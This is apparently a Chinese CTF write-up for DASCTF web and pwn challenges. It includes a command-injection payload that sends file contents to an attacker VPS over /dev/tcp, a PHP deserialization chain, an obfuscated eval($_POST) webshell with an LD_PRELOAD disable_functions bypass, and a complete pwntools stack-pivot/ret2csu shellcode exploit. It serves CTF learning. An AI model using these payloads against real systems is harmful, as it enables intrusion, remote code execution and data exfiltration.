dasctf wp&复现
Web
calc
利用 os.system(log) ,反引号执行子命令
开头1#注释绕过eval,末尾<绕过重定向,制表符绕过空格,最后cat /*重定向到vps上
num=1%23%60cat%09/%2A%60%3E/dev/tcp/vpsip/2333%3C
ezpop
换行绕最后的#,flag在当前目录
$fin1=new fin();
$what=new what();
$fin2=new fin();
$crow=new crow();
$fin3=new fin();
$mix=new mix();
$mix->m1="\r\nsystem('cat ./*');";
$fin3->f1=$mix;
$crow->v1=$fin3;
$fin2->f1=$crow;
$what->a=$fin2;
$fin1->f1=$what;
$str=urlencode( serialize($fin1));
echo $str;
upgdstore
题目提供了上传文件的接口(只能上传php)。传一个phpinfo可以看到1mol的disable functions...
由于后续每次传文件太麻烦,先来写个小马马
上传的文件内容有waf
function fun($var): bool{
$blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv",
"system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
foreach($blacklist as $blackword){
if(strstr($var, $blackword)) return True;
}
return False;
}
对于这个waf,一般的函数可以字符串拼接绕过,但php8下eval和assert都不能拼。可以利用strstr大小写不敏感绕过。
但是美元也过滤了,不好写$_POST
学长们打了个gd库二次渲染上传文件,然而有更简单的方法:
写一个base.php,内容是base64编码的木马
再写一个shell.php,include另一个base.php,include的时候用Php filter解码
tools.php
<?php
$trojan="<?php eval(\$_POST['1']);?>";
// echo base64_encode($trojan);
$text="php://filter/convert.base64-decode/resource=22b1ffa797ed0997a20765c7cf8a6549.php";
echo base64_encode($text);
base.php
PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4=
shell.php
<?php
Include(base64_decode('cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0yMmIxZmZhNzk3ZWQwOTk3YTIwNzY1YzdjZjhhNjU0OS5waHA='));
上传base和shell后,🐎就可以用了。
(试了下data协议,服务器禁用了)
由于disable functions太多,蚁剑用不了。看了看putenv没被禁。考虑LD_PRELOAD加载so文件。
首先得先解决传任意文件,题目的接口有很多限制,一是上面说的waf,另一个是后缀名
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}
$content = file_get_contents($temp_file);
if(fun($content)){
die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
die();
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}
利用没被禁用的move_uploaded_file可以上传。
编写so时,重写geteuid函数可行,64位。然后脚本发包
from importlib.metadata import files
import requests
from urllib.parse import *
url="http://9cc760e1-af97-490b-9096-9d6904a90a24.node4.buuoj.cn:81/uploads/25a452927110e39a345a2511c57647f2.php"
def upload(filename,local,cmd):
real_cmd=f"move_uploaded_file($_FILES['upload_file']['tmp_name'],'{filename}');"+cmd
data={"1":real_cmd}
print(real_cmd)
files={"upload_file":open(local,'rb')}
r=requests.post(url=url,data=data,files=files)
print(r.text)
if __name__=='__main__':
cmd=(
"putenv('LD_PRELOAD=/var/www/html/hack.so');"
+'mail("[email protected]","","","","");'
+'echo 1;'
)
# upload('./text.txt','text.txt',cmd)
upload('/var/www/html/hack.so','all.so',cmd)
弹shell之后发现flag要root。。这个真不会,misc爹浇浇...
这之后怎么做具体看erroratao
pwn
checkin
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[160]; // [rsp+0h] [rbp-A0h] BYREF
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
read(0, buf, 0xB0uLL);
return 0;
}
思路:
只能溢出16字节,先考虑栈迁移到bss上rop
没有write函数啥的,不好泄露libc
可以在bss上ret2shellcode
bss没有x权限,先调mprotect
mprotect是glibc的函数,可以syscall调用
syscall的调用号需要rax=10,一般64位系统函数返回值保存在rax上,可以调用read控制
调syscall的方法:修改read got表,call read时跳转到read+16的位置
要爆破一下低16位,本地调的时候可以关下aslr
具体实现如下:
-
栈迁移,传统的栈迁移要写3个地址单位,这里只有2个。但是这题的main函数为我们提供了read;leave_ret,返回地址写成main函数的read也可以达到栈迁移的效果。
可以看到main函数的read是由rbp确定其*buf参数的。可以先转移rbp。 -
bss上的栈要完成:转移rsp,写shellcode,调read控制rax的同时修改read got表。这些都得借助ret2csu完成
这个栈好复杂。。大概画个图
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p=process('./checkin')
# gdb.attach(p,'\
# b * 0x401239\
# ')
# pause()
#watch $rsp==0x4040c8
'''
int read(int fd,void *buf,int len);
int mprotect(void *addr, size_t len, int prot);
rdi, rsi, rdx
'''
csu_low=0x401230
csu_high=0x40124A
def csu(edi, rsi, rdx,call,ret,padding=0x38):
pay=p64(csu_high)+p64(0)+p64(1)+p64(edi)+p64(rsi)+p64(rdx)+p64(call)
pay+=p64(csu_low)
pay+=b'a'*padding+p64(ret)
return pay
bss1=0x404000+200+160
main_read=0x4011BF
pay1=(
b'a'*0xa0
+p64(bss1)
+p64(main_read)
)
p.send(pay1)
# watch $rsp==0x4040c8
pay3_head=0x404148-8 #动调
read_addr=0x404018 # got
leave_ret_addr=0x00000000004011e2
csu2=csu(0,pay3_head,0x300,read_addr,csu_high,0x30) #read(0,pay3_head,0x300)
pay2=(
csu2.ljust(160,b'\x00')
+p64(bss1-160-8)#leave ret rsp多+8一次
+p64(leave_ret_addr)
)
p.send(pay2)
# p.send(b'b'*0x300)
shellcode_addr=0x404238 #动调
shellcode=asm(shellcraft.sh())
csu3=csu(0,read_addr-8,10,read_addr,csu_high,0x30)#read(0,read_addr-8,10)
csu4=csu(0x404000,0x1000,7,read_addr,shellcode_addr)# mprotect(0x404000, 0x1000, 7)
pay3=(
csu3
+csu4
+shellcode
).ljust(0x300,b'\x00')
p.send(pay3)
pay4=b'\x00'*8+p16(0x1000)
p.send(pay4)
p.interactive()
用到的新知识(对本菜鸡来说)
栈迁移
https://cloud.tencent.com/developer/article/1601192
ret2csu
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/#ret2csu
另外,这题可以通过使用add [rbp-0x3d], ebx; ret
,将setvbuf@got
修改为puts
的地址,可以看看这位师傅的wp